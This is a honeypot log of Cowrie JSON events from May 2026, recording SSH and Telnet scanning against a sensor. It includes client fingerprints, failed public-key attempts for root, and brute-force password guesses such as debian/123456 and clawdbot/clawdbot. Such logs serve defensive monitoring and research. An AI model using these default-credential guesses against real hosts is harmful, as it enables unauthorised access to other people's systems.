{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:42.369117Z","src_ip":"83.168.110.85","session":"ed7029b976a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"105.155.84.193","src_port":48182,"dst_ip":"159.203.135.109","dst_port":23,"session":"aec126035653","protocol":"telnet","message":"New connection: 105.155.84.193:48182 (159.203.135.109:23) [session: aec126035653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:46.343869Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":34254,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ee370fc70c1","protocol":"ssh","message":"New connection: 83.168.110.85:34254 (10.17.0.5:22) [session: 2ee370fc70c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:47.512090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:47.516965Z","src_ip":"83.168.110.85","session":"2ee370fc70c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:47.638019Z","src_ip":"83.168.110.85","session":"2ee370fc70c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clawdbot","password":"clawdbot","message":"login attempt [clawdbot/clawdbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:48.003396Z","src_ip":"83.168.110.85","session":"2ee370fc70c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.186.220.213","src_port":37990,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf2baf1035b9","protocol":"telnet","message":"New connection: 45.186.220.213:37990 (10.17.0.5:23) [session: cf2baf1035b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:48.440856Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:49.126941Z","src_ip":"83.168.110.85","session":"2ee370fc70c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":59834,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fcd1a304842","protocol":"ssh","message":"New connection: 83.168.110.85:59834 (10.17.0.5:22) [session: 6fcd1a304842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:54.361005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:54.366074Z","src_ip":"83.168.110.85","session":"6fcd1a304842","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:54.487213Z","src_ip":"83.168.110.85","session":"6fcd1a304842","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456","message":"login attempt [debian/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:54.855400Z","src_ip":"83.168.110.85","session":"6fcd1a304842","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.23.12.21","src_port":41840,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb3e19f3ea9a","protocol":"ssh","message":"New connection: 217.23.12.21:41840 (10.17.0.5:22) [session: bb3e19f3ea9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:55.730715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:55.735445Z","src_ip":"217.23.12.21","session":"bb3e19f3ea9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:55.823674Z","src_ip":"217.23.12.21","session":"bb3e19f3ea9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:55.981138Z","src_ip":"83.168.110.85","session":"6fcd1a304842","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:7b:94:6e:7b:b3:46:aa:ee:ab:93:40:bd:74:a7:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMM65hXOYeKrFhkcQQp4IxAHpvNGZveyfgjnL8+M89u7lw0mChX55gzDa2QvdBuoD3y/Ju9aSwEJjTozvicePxFIKBRBamgx710YTsa8vKyEl4LLPmz6kNUx4/9mHuegyPAezbmIzFATKmk/YSfGdtBS2aX085/k4oPmHhHgItKgtu13SzEIkCOjIYBgdxLKvi0iDuzztkObaFdFOMpQrTxPd7IVPpvX731vkl9h78X9V8xtg3dL+gPmxkEdb/7RAI5jJkB1Q4c3E3zK42kWw5wleJ7qeP8dUJV77bdLdU3eAhMQX0jIswF/rSxu4phQpJHFK/m0qu38L/kC620bsCJD5LNtMsSxQi5khpSdRFTai1oKr2zY1zWofaF53fii3rU1GUDgqmp1QJ61vYFG28i2Eg/4iV84mUBlExzJr6jQXnYLWQPEg5aPVrDyuneWGSL0VWxByRCEUc/qisk8CF97PHE3/8/TUT4M1uKq+jXBndA6L2At+joU+MZHPU9J0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b1:7b:94:6e:7b:b3:46:aa:ee:ab:93:40:bd:74:a7:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:56.240607Z","src_ip":"217.23.12.21","session":"bb3e19f3ea9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:7b:94:6e:7b:b3:46:aa:ee:ab:93:40:bd:74:a7:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMM65hXOYeKrFhkcQQp4IxAHpvNGZveyfgjnL8+M89u7lw0mChX55gzDa2QvdBuoD3y/Ju9aSwEJjTozvicePxFIKBRBamgx710YTsa8vKyEl4LLPmz6kNUx4/9mHuegyPAezbmIzFATKmk/YSfGdtBS2aX085/k4oPmHhHgItKgtu13SzEIkCOjIYBgdxLKvi0iDuzztkObaFdFOMpQrTxPd7IVPpvX731vkl9h78X9V8xtg3dL+gPmxkEdb/7RAI5jJkB1Q4c3E3zK42kWw5wleJ7qeP8dUJV77bdLdU3eAhMQX0jIswF/rSxu4phQpJHFK/m0qu38L/kC620bsCJD5LNtMsSxQi5khpSdRFTai1oKr2zY1zWofaF53fii3rU1GUDgqmp1QJ61vYFG28i2Eg/4iV84mUBlExzJr6jQXnYLWQPEg5aPVrDyuneWGSL0VWxByRCEUc/qisk8CF97PHE3/8/TUT4M1uKq+jXBndA6L2At+joU+MZHPU9J0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:56.248040Z","src_ip":"217.23.12.21","session":"bb3e19f3ea9a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e5:d7:11:5f:5c:60:7c:66:88:8a:6e:97:d5:1e:92:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+n7uSFkTbboQB/EOggC67uksAhEm1rYgBPI3s6BQMl1NWK8AiFo/OVqnlhhp1NCHTzKxVdv5m7vHKqDW+gkdOf/IuEC0/QxL3EsQnzQz9z0O3543fjkHLDv3+FN/Mtdy/+8RUPk7fHMErFYtC8TPph/sLB9ASU1XSMLfrAWKei9O5oRkigiynYFxPkErXMwxsjMFfzyQJiLRFzErlhpfpn+ooVtEs0l1CvtXNihS3Anzzoy38edciOhQxFC7Ihzpbh5LzTBMevL43rDabiEajmFz9Uy+XVdOW46VwHUlbpfOLVYVIJ6UED+rqJiKxtERlXp+vP61y3S2b0kciClqp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e5:d7:11:5f:5c:60:7c:66:88:8a:6e:97:d5:1e:92:7f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:56.336957Z","src_ip":"217.23.12.21","session":"bb3e19f3ea9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e5:d7:11:5f:5c:60:7c:66:88:8a:6e:97:d5:1e:92:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+n7uSFkTbboQB/EOggC67uksAhEm1rYgBPI3s6BQMl1NWK8AiFo/OVqnlhhp1NCHTzKxVdv5m7vHKqDW+gkdOf/IuEC0/QxL3EsQnzQz9z0O3543fjkHLDv3+FN/Mtdy/+8RUPk7fHMErFYtC8TPph/sLB9ASU1XSMLfrAWKei9O5oRkigiynYFxPkErXMwxsjMFfzyQJiLRFzErlhpfpn+ooVtEs0l1CvtXNihS3Anzzoy38edciOhQxFC7Ihzpbh5LzTBMevL43rDabiEajmFz9Uy+XVdOW46VwHUlbpfOLVYVIJ6UED+rqJiKxtERlXp+vP61y3S2b0kciClqp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:56.340923Z","src_ip":"217.23.12.21","session":"bb3e19f3ea9a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:b6:1a:26:f4:f0:d0:2d:e8:3e:9f:ff:f4:f2:ec:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCaEmeBUPND1zXwoRC1dMAO8orT9v4VS9tmHqZhF7b/WjGqhjc0bn8SOPtU8GqG9xs8OYn+qpsFeWeJNfCx9KnoYGY1EdGVPIAzcCAHc9XFmwft3HCOPi4O7f5LjdrASFpzkJK+UX9nDnu1oFKRft9Y4GD6U6OlzTyNaEAOBPbCnhfWkal84MleZX/rYJCpqDXaP34seIx8x5tNg0eS1ltX8Yyfq775ZQufgFjq1XXt9mEA38reOWDV0lXqqUBbq1wUrEDYn+Hg01uQV2O74gSVdiH+DTE3zGoiY7sVaIdNpfc+POmDJ2VVG4t2oJVzSsngmrLzaCtq8oLmGFMyKenT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:b6:1a:26:f4:f0:d0:2d:e8:3e:9f:ff:f4:f2:ec:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:56.429302Z","src_ip":"217.23.12.21","session":"bb3e19f3ea9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:b6:1a:26:f4:f0:d0:2d:e8:3e:9f:ff:f4:f2:ec:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCaEmeBUPND1zXwoRC1dMAO8orT9v4VS9tmHqZhF7b/WjGqhjc0bn8SOPtU8GqG9xs8OYn+qpsFeWeJNfCx9KnoYGY1EdGVPIAzcCAHc9XFmwft3HCOPi4O7f5LjdrASFpzkJK+UX9nDnu1oFKRft9Y4GD6U6OlzTyNaEAOBPbCnhfWkal84MleZX/rYJCpqDXaP34seIx8x5tNg0eS1ltX8Yyfq775ZQufgFjq1XXt9mEA38reOWDV0lXqqUBbq1wUrEDYn+Hg01uQV2O74gSVdiH+DTE3zGoiY7sVaIdNpfc+POmDJ2VVG4t2oJVzSsngmrLzaCtq8oLmGFMyKenT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:56.433739Z","src_ip":"217.23.12.21","session":"bb3e19f3ea9a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c3:5b:37:08:44:55:06:bc:d8:28:75:c0:06:06:64:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKMnoFGeq+1emo0KpKHK764jKy0pgQVCJ+iz39dBauUgyyW3iV1J6wfWk/CNTxHUtHO9E+k4duwE7c8mknx+zfQCd61hZAjoKbgj7h+Wyd96Q6j6tTHmHCF+kbBIJbmakl/8+k78lKoEwhIvL3+vGFZET2B10jVtrW+VJfiNL5C1hJoPD9XMRR3OKXzPhlfYnQArpTdl8Q5PzfF98VT826HqSBA8dkNhBd8PQPPw93P70zZgyk/9JQCVP6eHMZi3VqeFRhb4XTAfaFi2pPvEMRGy50DcX2a9u3kNKHey3L2X+SL7QXfl+bfeLfuVyyKSnYgMl9zXeQtqd/cleLRGwP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c3:5b:37:08:44:55:06:bc:d8:28:75:c0:06:06:64:8c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:56.523408Z","src_ip":"217.23.12.21","session":"bb3e19f3ea9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c3:5b:37:08:44:55:06:bc:d8:28:75:c0:06:06:64:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKMnoFGeq+1emo0KpKHK764jKy0pgQVCJ+iz39dBauUgyyW3iV1J6wfWk/CNTxHUtHO9E+k4duwE7c8mknx+zfQCd61hZAjoKbgj7h+Wyd96Q6j6tTHmHCF+kbBIJbmakl/8+k78lKoEwhIvL3+vGFZET2B10jVtrW+VJfiNL5C1hJoPD9XMRR3OKXzPhlfYnQArpTdl8Q5PzfF98VT826HqSBA8dkNhBd8PQPPw93P70zZgyk/9JQCVP6eHMZi3VqeFRhb4XTAfaFi2pPvEMRGy50DcX2a9u3kNKHey3L2X+SL7QXfl+bfeLfuVyyKSnYgMl9zXeQtqd/cleLRGwP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:56.527792Z","src_ip":"217.23.12.21","session":"bb3e19f3ea9a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:d1:f8:f2:c7:1a:5d:eb:22:96:63:1e:4c:d0:a9:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDORhJ6sOTrRQ82dK2te7kg/8swkmqmcrpAouN8JYI9ZO+i1nGF4oA+YTzpIwU0tlrzp0bFscuuaPHW7ADjVRJWkPOdRxY11OYzkrUwN1Sw9OP/uonsNlbCUKqW1fR4FAaQpBrS5lqE+6UPJCtOmJpuU30r8GSZz8Z1UfEraWH/5roOKWVzhjRvRSzLowo1FVlv7uCXSojtNQ+1RvKBmleuXXT9K+t9qm3vHHXvxnaM3hTAPrctiw3+A50IoZSaZUTCKreU2df4Fbl5Ni2AJbvUxtGW7CSHq27El+6tXgR80lhbXuFHle70+tiCS5Ww0zV1m0Jt88TELaFZB48RwZc5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 69:d1:f8:f2:c7:1a:5d:eb:22:96:63:1e:4c:d0:a9:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:56.617172Z","src_ip":"217.23.12.21","session":"bb3e19f3ea9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:d1:f8:f2:c7:1a:5d:eb:22:96:63:1e:4c:d0:a9:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDORhJ6sOTrRQ82dK2te7kg/8swkmqmcrpAouN8JYI9ZO+i1nGF4oA+YTzpIwU0tlrzp0bFscuuaPHW7ADjVRJWkPOdRxY11OYzkrUwN1Sw9OP/uonsNlbCUKqW1fR4FAaQpBrS5lqE+6UPJCtOmJpuU30r8GSZz8Z1UfEraWH/5roOKWVzhjRvRSzLowo1FVlv7uCXSojtNQ+1RvKBmleuXXT9K+t9qm3vHHXvxnaM3hTAPrctiw3+A50IoZSaZUTCKreU2df4Fbl5Ni2AJbvUxtGW7CSHq27El+6tXgR80lhbXuFHle70+tiCS5Ww0zV1m0Jt88TELaFZB48RwZc5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:56.621422Z","src_ip":"217.23.12.21","session":"bb3e19f3ea9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:56.713179Z","src_ip":"217.23.12.21","session":"bb3e19f3ea9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.775219440460205,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:59.118941Z","src_ip":"105.155.84.193","session":"aec126035653","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":59848,"dst_ip":"10.17.0.5","dst_port":22,"session":"c348c9d696f0","protocol":"ssh","message":"New connection: 83.168.110.85:59848 (10.17.0.5:22) [session: c348c9d696f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:01.683762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:01.701224Z","src_ip":"83.168.110.85","session":"c348c9d696f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:01.825785Z","src_ip":"83.168.110.85","session":"c348c9d696f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:02.194291Z","src_ip":"83.168.110.85","session":"c348c9d696f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.33948111534119,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:02.939278Z","src_ip":"176.65.139.118","session":"57dc40059d1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":42590,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9fdd7dd912d","protocol":"telnet","message":"New connection: 176.65.139.118:42590 (159.203.135.109:23) [session: e9fdd7dd912d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:03.108876Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:03.561359Z","src_ip":"83.168.110.85","session":"c348c9d696f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":36794,"dst_ip":"159.203.135.109","dst_port":22,"session":"38d9777d7b2b","protocol":"ssh","message":"New connection: 194.113.233.25:36794 (159.203.135.109:22) [session: 38d9777d7b2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:04.718994Z"}
